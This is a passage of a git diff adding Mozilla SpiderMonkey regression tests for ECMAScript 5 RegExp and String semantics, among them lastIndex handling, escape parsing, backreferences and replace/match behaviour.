+ try { r.exec("aabbbba"); } catch (e) { /* swallow error if thrown */ }
+ assertEq(Object.getOwnPropertyDescriptor(r, "lastIndex").writable, false);
+}
+while (Math.random() > 17); // fake loop to discourage RegExp object caching
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/RegExp/regexp-space-character-class.js b/js/src/tests/ecma_5/RegExp/regexp-space-character-class.js
new file mode 100644
index 000000000..19d79859c
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/regexp-space-character-class.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+* License, v. 2.0. If a copy of the MPL was not distributed with this
+* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var gTestfile = 'regexp-space-character-class.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514808;
+var summary = 'Correct space character class in regexes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+enterFunc ('test');
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var spaces = [ "\u0009", "\u000b", "\u000c", "\u0020", "\u00a0", "\u1680",
+"\u180e", "\u2000", "\u2001", "\u2002", "\u2003", "\u2004",
+"\u2005", "\u2006", "\u2007", "\u2008", "\u2009", "\u200a",
+"\u202f", "\u205f", "\u3000", "\ufeff" ];
+var line_terminators = [ "\u2028", "\u2029", "\u000a", "\u000d" ];
+var space_chars = [].concat(spaces, line_terminators);
+
+var non_space_chars = [ "\u200b", "\u200c", "\u200d" ];
+
+var chars = [].concat(space_chars, non_space_chars);
+var is_space = [].concat(space_chars.map(function(ch) { return true; }),
+non_space_chars.map(function(ch) { return false; }));
+var expect = is_space.join(',');
+
+var actual = chars.map(function(ch) { return /\s/.test(ch); }).join(',');
+reportCompare(expect, actual, summary);
+
+var actual = chars.map(function(ch) { return /\s/.test(ch); }).join(',');
+reportCompare(expect, actual, summary);
+
+exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_5/RegExp/regress-429241.js b/js/src/tests/ecma_5/RegExp/regress-429241.js
new file mode 100644
index 000000000..a4b588fea
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/regress-429241.js
@@ -0,0 +1,200 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var gTestfile = 'regress-429241.js';
+var BUGNUMBER = 429241;
+var summary = '\\x or \\u followed by too few hex digits';
+var r;
+
+reportCompare(
+ "x",
+ (r = /[\x]+/.exec("\\x\0")) && r[0],
+ "Section 1"
+);
+
+reportCompare(
+ "xy",
+ (r = /[\xy]+/.exec("\\xy\0")) && r[0],
+ "Section 2"
+);
+
+reportCompare(
+ "x0",
+ (r = /[\x0]+/.exec("\\x0\0")) && r[0],
+ "Section 3"
+);
+
+reportCompare(
+ "x0y",
+ (r = /[\x0y]+/.exec("\\x0y\0")) && r[0],
+ "Section 4"
+);
+
+reportCompare(
+ "\0",
+ (r = /[\x00]+/.exec("\\x\0")) && r[0],
+ "Section 5"
+);
+
+reportCompare(
+ "0\0",
+ (r = /[\x000]+/.exec("0\0")) && r[0],
+ "Section 6"
+);
+
+reportCompare(
+ "x",
+ (r = /^\x$/.exec("x")) && r[0],
+ "Section 7"
+);
+
+reportCompare(
+ "xy",
+ (r = /^\xy$/.exec("xy")) && r[0],
+ "Section 8"
+);
+
+reportCompare(
+ "x0",
+ (r = /^\x0$/.exec("x0")) && r[0],
+ "Section 9"
+);
+
+reportCompare(
+ "x0y",
+ (r = /^\x0y$/.exec("x0y")) && r[0],
+ "Section 10"
+);
+
+reportCompare(
+ null,
+ /^\x00$/.exec("\0" + "0"),
+ "Section 11"
+);
+
+reportCompare(
+ "\0" + "0",
+ (r = /^\x000$/.exec("\0" + "0")) && r[0],
+ "Section 12"
+);
+
+reportCompare(
+ "u",
+ (r = /[\u]+/.exec("\\u\0")) && r[0],
+ "Section 13"
+);
+
+reportCompare(
+ "uy",
+ (r = /[\uy]+/.exec("\\uy\0")) && r[0],
+ "Section 14"
+);
+
+reportCompare(
+ "u0",
+ (r = /[\u0]+/.exec("\\u0\0")) && r[0],
+ "Section 15"
+);
+
+reportCompare(
+ "u0",
+ (r = /[\u00]+/.exec("\\u0\0")) && r[0],
+ "Section 16"
+);
+
+reportCompare(
+ "u0",
+ (r = /[\u000]+/.exec("\\u0\0")) && r[0],
+ "Section 17"
+);
+
+reportCompare(
+ "u0y",
+ (r = /[\u0y]+/.exec("\\u0y\0")) && r[0],
+ "Section 18"
+);
+
+reportCompare(
+ "u0y",
+ (r = /[\u00y]+/.exec("\\u0y\0")) && r[0],
+ "Section 19"
+);
+
+reportCompare(
+ "u0y",
+ (r = /[\u000y]+/.exec("\\u0y\0")) && r[0],
+ "Section 20"
+);
+
+reportCompare(
+ "\0",
+ (r = /[\u0000]+/.exec("\\u\0")) && r[0],
+ "Section 21"
+);
+
+reportCompare(
+ "0\0",
+ (r = /[\u00000]+/.exec("0\0")) && r[0],
+ "Section 22"
+);
+
+reportCompare(
+ "u",
+ (r = /^\u$/.exec("u")) && r[0],
+ "Section 23"
+);
+
+reportCompare(
+ "uy",
+ (r = /^\uy$/.exec("uy")) && r[0],
+ "Section 24"
+);
+
+reportCompare(
+ "u0",
+ (r = /^\u0$/.exec("u0")) && r[0],
+ "Section 25"
+);
+
+reportCompare(
+ "u00",
+ (r = /^\u00$/.exec("u00")) && r[0],
+ "Section 26"
+);
+
+reportCompare(
+ "u000",
+ (r = /^\u000$/.exec("u000")) && r[0],
+ "Section 27"
+);
+
+reportCompare(
+ "u0y",
+ (r = /^\u0y$/.exec("u0y")) && r[0],
+ "Section 28"
+);
+
+reportCompare(
+ "u00y",
+ (r = /^\u00y$/.exec("u00y")) && r[0],
+ "Section 29"
+);
+
+reportCompare(
+ "u000y",
+ (r = /^\u000y$/.exec("u000y")) && r[0],
+ "Section 30"
+);
+
+reportCompare(
+ null,
+ /^\u0000$/.exec("\0" + "0"),
+ "Section 31"
+);
+
+reportCompare(
+ "\0" + "0",
+ (r = /^\u00000$/.exec("\0" + "0")) && r[0],
+ "Section 32"
+);
diff --git a/js/src/tests/ecma_5/RegExp/regress-576828.js b/js/src/tests/ecma_5/RegExp/regress-576828.js
new file mode 100644
index 000000000..45e97dc3b
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/regress-576828.js
@@ -0,0 +1,8 @@
+var re = /(z\1){3}/;
+var str = 'zzz';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['zzz', 'z'], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/RegExp/regress-613820-1.js b/js/src/tests/ecma_5/RegExp/regress-613820-1.js
new file mode 100644
index 000000000..e5e755b24
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/regress-613820-1.js
@@ -0,0 +1,9 @@
+/* Back reference is actually a forwards reference. */
+var re = /(\2(a)){2}/;
+var str = 'aaa';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['aa', 'a', 'a'], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/RegExp/regress-613820-2.js b/js/src/tests/ecma_5/RegExp/regress-613820-2.js
new file mode 100644
index 000000000..5db7244ba
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/regress-613820-2.js
@@ -0,0 +1,9 @@
+/* Resetting of inner capture groups across quantified capturing parens. */
+var re = /(?:(f)(o)(o)|(b)(a)(r))*/;
+var str = 'foobar';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['foobar', undefined, undefined, undefined, 'b', 'a', 'r'], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/RegExp/regress-613820-3.js b/js/src/tests/ecma_5/RegExp/regress-613820-3.js
new file mode 100644
index 000000000..126e838ff
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/regress-613820-3.js
@@ -0,0 +1,9 @@
+/* Capture group reset to undefined during second iteration, so backreference doesn't see prior result. */
+var re = /(?:^(a)|\1(a)|(ab)){2}/;
+var str = 'aab';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['aa', undefined, 'a', undefined], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/RegExp/regress-617935.js b/js/src/tests/ecma_5/RegExp/regress-617935.js
new file mode 100644
index 000000000..3764d81b0
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/regress-617935.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!xulRuntime.shell&&(Android||xulRuntime.OS=="WINNT")) silentfail
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ *
+ * Author: Christian Holler <decoder@own-hero.net>
+ */
+
+expectExitCode(0);
+expectExitCode(5);
+
+/* Length of 32 */
+var foo = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
+
+/* Make len(foo) 32768 */
+for (i = 0; i < 10; ++i) {
+ foo += foo;
+}
+
+/* Add one "a" to cause overflow later */
+foo += "a";
+
+var bar = "bbbbbbbbbbbbbbbb";
+
+/* Make len(bar) 8192 */
+for (i = 0; i < 9; ++i) {
+ bar += bar;
+}
+
+/*
+ * Resulting string should be
+ * len(foo) * len(bar) = (2**10 * 32 + 1) * 8192 = 268443648
+ * which will be larger than the max string length (2**28, or 268435456).
+ */
+try {
+ foo.replace(/[a]/g, bar);
+} catch (e) {
+ reportCompare(e instanceof InternalError, true, "Internal error due to overallocation is ok.");
+}
+reportCompare(true, true, "No crash occurred.");
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/RegExp/shell.js b/js/src/tests/ecma_5/RegExp/shell.js
new file mode 100644
index 000000000..0ce9f087d
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/shell.js
@@ -0,0 +1,21 @@
+function makeExpectedMatch(arr, index, input) {
+ var expectedMatch = {
+ index: index,
+ input: input,
+ length: arr.length,
+ };
+
+ for (var i = 0; i < arr.length; ++i)
+ expectedMatch[i] = arr[i];
+
+ return expectedMatch;
+}
+
+function checkRegExpMatch(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (var i = 0; i < actual.length; ++i)
+ assertEq(actual[i], expected[i]);
+
+ assertEq(actual.index, expected.index);
+ assertEq(actual.input, expected.input);
+}
diff --git a/js/src/tests/ecma_5/String/15.5.4.11-01.js b/js/src/tests/ecma_5/String/15.5.4.11-01.js
new file mode 100644
index 000000000..2125cbf82
--- /dev/null
+++ b/js/src/tests/ecma_5/String/15.5.4.11-01.js
@@ -0,0 +1,66 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 587366;
+var summary = "String.prototype.replace with non-regexp searchValue";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/*
+ * Check that regexp statics are preserved across the whole test.
+ * If the engine is trying to cheat by turning stuff into regexps,
+ * we should catch it!
+ */
+/(a|(b)|c)+/.exec('abcabc');
+var before = {
+ "source" : RegExp.source,
+ "$`": RegExp.leftContext,
+ "$'": RegExp.rightContext,
+ "$&": RegExp.lastMatch,
+ "$1": RegExp.$1,
+ "$2": RegExp.$2
+};
+
+var text = 'I once was lost but now am found.';
+var searchValue = 'found';
+var replaceValue;
+
+/* Lambda substitution. */
+replaceValue = function(matchStr, matchStart, textStr) {
+ assertEq(matchStr, searchValue);
+ assertEq(matchStart, 27);
+ assertEq(textStr, text);
+ return 'not watching that show anymore';
+}
+var result = text.replace(searchValue, replaceValue);
+assertEq(result, 'I once was lost but now am not watching that show anymore.');
+
+/* Dollar substitution. */
+replaceValue = "...wait, where was I again? And where is all my $$$$$$? Oh right, $`$&$'" +
+ " But with no $$$$$$"; /* Note the dot is not replaced and trails the end. */
+result = text.replace(searchValue, replaceValue);
+assertEq(result, 'I once was lost but now am ...wait, where was I again?' +
+ ' And where is all my $$$? Oh right, I once was lost but now am found.' +
+ ' But with no $$$.');
+
+/* Missing capture group dollar substitution. */
+replaceValue = "$1$&$2$'$3";
+result = text.replace(searchValue, replaceValue);
+assertEq(result, 'I once was lost but now am $1found$2.$3.');
+
+/* Check RegExp statics haven't been mutated. */
+for (var ident in before)
+ assertEq(RegExp[ident], before[ident]);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/String/15.5.4.2.js b/js/src/tests/ecma_5/String/15.5.4.2.js
new file mode 100644
index 000000000..46c7ccb69
--- /dev/null
+++ b/js/src/tests/ecma_5/String/15.5.4.2.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('String.prototype.toString.call(42)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call(true)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call({})'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call(null)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call([])'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call(undefined)'), true);
+assertEq(completesNormally('String.prototype.toString.call("")'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/String/15.5.4.7.js b/js/src/tests/ecma_5/String/15.5.4.7.js
new file mode 100644
index 000000000..4303b797f
--- /dev/null
+++ b/js/src/tests/ecma_5/String/15.5.4.7.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 612838;
+var summary = "String.prototype.indexOf with empty searchString";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq("123".indexOf("", -1), 0);
+assertEq("123".indexOf("", 0), 0);
+assertEq("123".indexOf("", 1), 1);
+assertEq("123".indexOf("", 3), 3);
+assertEq("123".indexOf("", 4), 3);
+assertEq("123".indexOf("", 12345), 3);
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/String/browser.js b/js/src/tests/ecma_5/String/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/String/browser.js
diff --git a/js/src/tests/ecma_5/String/defaultvalue.js b/js/src/tests/ecma_5/String/defaultvalue.js
new file mode 100644
index 000000000..50b4fe00d
--- /dev/null
+++ b/js/src/tests/ecma_5/String/defaultvalue.js
@@ -0,0 +1,169 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 645464;
+var summary =
+ "[[DefaultValue]] behavior wrong for String with overridden valueOf/toString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// equality
+
+var s = new String("c");
+assertEq(s == "c", true);
+
+var s2 = new String();
+s2.valueOf = function() { return "foo"; };
+assertEq(s2 == "foo", true);
+
+var s3 = new String();
+s3.toString = function() { return "bar"; };
+assertEq(s3 == "", true);
+
+function testEquality()
+{
+ var s = new String("c");
+ assertEq(s == "c", true);
+
+ var s2 = new String();
+ s2.valueOf = function() { return "foo"; };
+ assertEq(s2 == "foo", true);
+
+ var s3 = new String();
+ s3.toString = function() { return "bar"; };
+ assertEq(s3 == "", true);
+}
+testEquality();
+
+
+// addition of String to string
+
+var s = new String();
+assertEq(s + "", "");
+
+var s2 = new String();
+s2.toString = function() { return "bar"; };
+assertEq(s2 + "", "");
+
+var s3 = new String();
+s3.valueOf = function() { return "baz"; };
+assertEq(s3 + "", "baz");
+
+function testStringAddition()
+{
+ var s = new String();
+ assertEq(s + "", "");
+
+ var s2 = new String();
+ s2.toString = function() { return "bar"; };
+ assertEq(s2 + "", "");
+
+ var s3 = new String();
+ s3.valueOf = function() { return "baz"; };
+ assertEq(s3 + "", "baz");
+}
+testStringAddition();
+
+
+// addition of String to String
+
+var s = new String();
+assertEq(s + s, "");
+
+var s2 = new String();
+s2.toString = function() { return "baz"; };
+assertEq(s2 + s2, "");
+
+var s3 = new String();
+s3.valueOf = function() { return "quux"; };
+assertEq(s3 + s3, "quuxquux");
+
+function testNonStringAddition()
+{
+ var s = new String();
+ assertEq(s + s, "");
+
+ var s2 = new String();
+ s2.toString = function() { return "baz"; };
+ assertEq(s2 + s2, "");
+
+ var s3 = new String();
+ s3.valueOf = function() { return "quux"; };
+ assertEq(s3 + s3, "quuxquux");
+}
+testNonStringAddition();
+
+
+// String as bracketed property name
+
+var obj = { primitive: 17, valueOf: 42, toString: 8675309 };
+
+var s = new String("primitive");
+assertEq(obj[s], 17);
+
+var s2 = new String("primitive");
+s2.valueOf = function() { return "valueOf"; }
+assertEq(obj[s2], 17);
+
+var s3 = new String("primitive");
+s3.toString = function() { return "toString"; };
+assertEq(obj[s3], 8675309);
+
+function testPropertyNameToString()
+{
+ var obj = { primitive: 17, valueOf: 42, toString: 8675309 };
+
+ var s = new String("primitive");
+ assertEq(obj[s], 17);
+
+ var s2 = new String("primitive");
+ s2.valueOf = function() { return "valueOf"; }
+ assertEq(obj[s2], 17);
+
+ var s3 = new String("primitive");
+ s3.toString = function() { return "toString"; };
+ assertEq(obj[s3], 8675309);
+}
+testPropertyNameToString();
+
+
+// String as property name with |in| operator
+
+var s = new String();
+assertEq(s in { "": 5 }, true);
+
+var s2 = new String();
+s.toString = function() { return "baz"; };
+assertEq(s in { baz: 42 }, true);
+
+var s3 = new String();
+s3.valueOf = function() { return "quux"; };
+assertEq(s3 in { "": 17 }, true);
+
+function testInOperatorName()
+{
+ var s = new String();
+ assertEq(s in { "": 5 }, true);
+
+ var s2 = new String();
+ s.toString = function() { return "baz"; };
+ assertEq(s in { baz: 42 }, true);
+
+ var s3 = new String();
+ s3.valueOf = function() { return "quux"; };
+ assertEq(s3 in { "": 17 }, true);
+}
+testInOperatorName();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/String/match-defines-match-elements.js b/js/src/tests/ecma_5/String/match-defines-match-elements.js
new file mode 100644
index 000000000..e1a38e30c
--- /dev/null
+++ b/js/src/tests/ecma_5/String/match-defines-match-elements.js
@@ -0,0 +1,47 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 677820;
+var summary =
+ "String.prototype.match must define matches on the returned array, not set " +
+ "them";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called = false;
+function setterFunction(v) { called = true; }
+function getterFunction(v) { return "getter"; }
+
+Object.defineProperty(Array.prototype, 1,
+ { get: getterFunction, set: setterFunction });
+
+assertEq(called, false);
+var matches = "abcdef".match(/./g);
+assertEq(called, false);
+assertEq(matches.length, 6);
+assertEq(matches[0], "a");
+assertEq(matches[1], "b");
+assertEq(matches[2], "c");
+assertEq(matches[3], "d");
+assertEq(matches[4], "e");
+assertEq(matches[5], "f");
+
+var desc = Object.getOwnPropertyDescriptor(Array.prototype, 1);
+assertEq(desc.get, getterFunction);
+assertEq(desc.set, setterFunction);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq([][1], "getter");
+
+assertEq(called, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/String/match-forward-lookahead.js b/js/src/tests/ecma_5/String/match-forward-lookahead.js
new file mode 100644
index 000000000..6097b6604
--- /dev/null
+++ b/js/src/tests/ecma_5/String/match-forward-lookahead.js
@@ -0,0 +1,27 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.match behavior with zero-length matches involving " +
+ "forward lookahead";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var r = /(?=x)/g;
+
+var res = "aaaaaaaaaxaaaaaaaaax".match(r);
+assertEq(res.length, 2);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/String/match-throws-nonwritable-lastIndex-global.js b/js/src/tests/ecma_5/String/match-throws-nonwritable-lastIndex-global.js
new file mode 100644
index 000000000..b36916d4c
--- /dev/null
+++ b/js/src/tests/ecma_5/String/match-throws-nonwritable-lastIndex-global.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.match should throw when called with a global RegExp " +
+ "whose .lastIndex is non-writable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+
+// First time with .lastIndex === 0
+
+var p1 = /x/g;
+Object.defineProperty(p1, "lastIndex", { writable: false });
+
+try
+{
+ s.match(p1);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+// Second time with .lastIndex !== 0
+
+var p2 = /x/g;
+Object.defineProperty(p2, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.match(p2);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+// Third time with .lastIndex === 0, no matches
+
+var p3 = /q/g;
+Object.defineProperty(p3, "lastIndex", { writable: false });
+
+try
+{
+ s.match(p3);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+// Fourth time with .lastIndex !== 0, no matches
+
+var p4 = /q/g;
+Object.defineProperty(p4, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.match(p4);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/String/match-updates-global-lastIndex.js b/js/src/tests/ecma_5/String/match-updates-global-lastIndex.js
new file mode 100644
index 000000000..cc18219ac
--- /dev/null
+++ b/js/src/tests/ecma_5/String/match-updates-global-lastIndex.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.match should zero the .lastIndex when called with a " +
+ "global RegExp";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+var p = /x/g;
+p.lastIndex = 3;
+
+var arr = s.match(p);
+assertEq(arr.length, 4);
+arr.forEach(function(v) { assertEq(v, "x"); });
+assertEq(p.lastIndex, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/String/replace-math.js b/js/src/tests/ecma_5/String/replace-math.js
new file mode 100644
index 000000000..bfe3ec028
--- /dev/null
+++ b/js/src/tests/ecma_5/String/replace-math.js
@@ -0,0 +1,38 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 805121;
+var summary = "Be more careful with string math to avoid wrong results";
+
+print(BUGNUMBER + ": " + summary);
+
+/******************************************************************************/
+
+function puff(x, n)
+{
+ while(x.length < n)
+ x += x;
+ return x.substring(0, n);
+}
+
+var x = puff("1", 1 << 20);
+var rep = puff("$1", 1 << 16);
+
+try
+{
+ var y = x.replace(/(.+)/g, rep);
+ assertEq(y.length, Math.pow(2, 36));
+}
+catch (e)
+{
+ // OOM also acceptable
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/String/replace-throws-nonwritable-lastIndex-global.js b/js/src/tests/ecma_5/String/replace-throws-nonwritable-lastIndex-global.js
new file mode 100644
index 000000000..8e1c967f1
--- /dev/null
+++ b/js/src/tests/ecma_5/String/replace-throws-nonwritable-lastIndex-global.js
@@ -0,0 +1,126 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.replace should throw when called with a global RegExp " +
+ "whose .lastIndex is non-writable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+
+// First time with .lastIndex === 0, replacing to ''
+
+var p1 = /x/g;
+Object.defineProperty(p1, "lastIndex", { writable: false });
+
+try
+{
+ s.replace(p1, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p1.lastIndex, 0);
+}
+
+// Second time with .lastIndex !== 0, replacing to ''
+
+var p2 = /x/g;
+Object.defineProperty(p2, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.replace(p2, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p2.lastIndex, 3);
+}
+
+// Third time with .lastIndex === 0, replacing to 'y'
+
+var p3 = /x/g;
+Object.defineProperty(p3, "lastIndex", { writable: false });
+
+try
+{
+ s.replace(p3, 'y');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p3.lastIndex, 0);
+}
+
+// Fourth time with .lastIndex !== 0, replacing to 'y'
+
+var p4 = /x/g;
+Object.defineProperty(p4, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.replace(p4, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p4.lastIndex, 3);
+}
+
+// Fifth time with .lastIndex === 0, replacing to 'y', but no match
+
+var p5 = /q/g;
+Object.defineProperty(p5, "lastIndex", { writable: false });
+
+try
+{
+ s.replace(p5, 'y');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p5.lastIndex, 0);
+}
+
+// Sixth time with .lastIndex !== 0, replacing to 'y', but no match
+
+var p6 = /q/g;
+Object.defineProperty(p6, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.replace(p6, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p6.lastIndex, 3);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/String/replace-updates-global-lastIndex.js b/js/src/tests/ecma_5/String/replace-updates-global-lastIndex.js
new file mode 100644
index 000000000..c859d7093
--- /dev/null
+++ b/js/src/tests/ecma_5/String/replace-updates-global-lastIndex.js
@@ -0,0 +1,38 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.relace should zero the .lastIndex when called with a " +
+ "global RegExp";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+
+var p1 = /x/g;
+p1.lastIndex = 3;
+s.replace(p1, '');
+assertEq(p1.lastIndex, 0);
+
+var p2 = /x/g;
+p2.lastIndex = 3;
+var c = 0;
+s.replace(p2, function(s) {
+ assertEq(p2.lastIndex++, c++);
+ return 'y';
+});
+assertEq(p2.lastIndex, 4);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/String/shell.js b/js/src/tests/ecma_5/String/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/String/shell.js
diff --git a/js/src/tests/ecma_5/String/split-01.js b/js/src/tests/ecma_5/String/split-01.js
new file mode 100644
index 000000000..3eda3b148
--- /dev/null
+++ b/js/src/tests/ecma_5/String/split-01.js
@@ -0,0 +1,47 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 614608;
+var summary = "String.prototype.split tests";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function assertEqArr(a1, a2) {
+ assertEq(a1.length, a2.length);
+
+ for(var i=0; i<a1.length; i++) {
+ assertEq(a1[i], a2[i]);
+ }
+}
+
+var order = "";
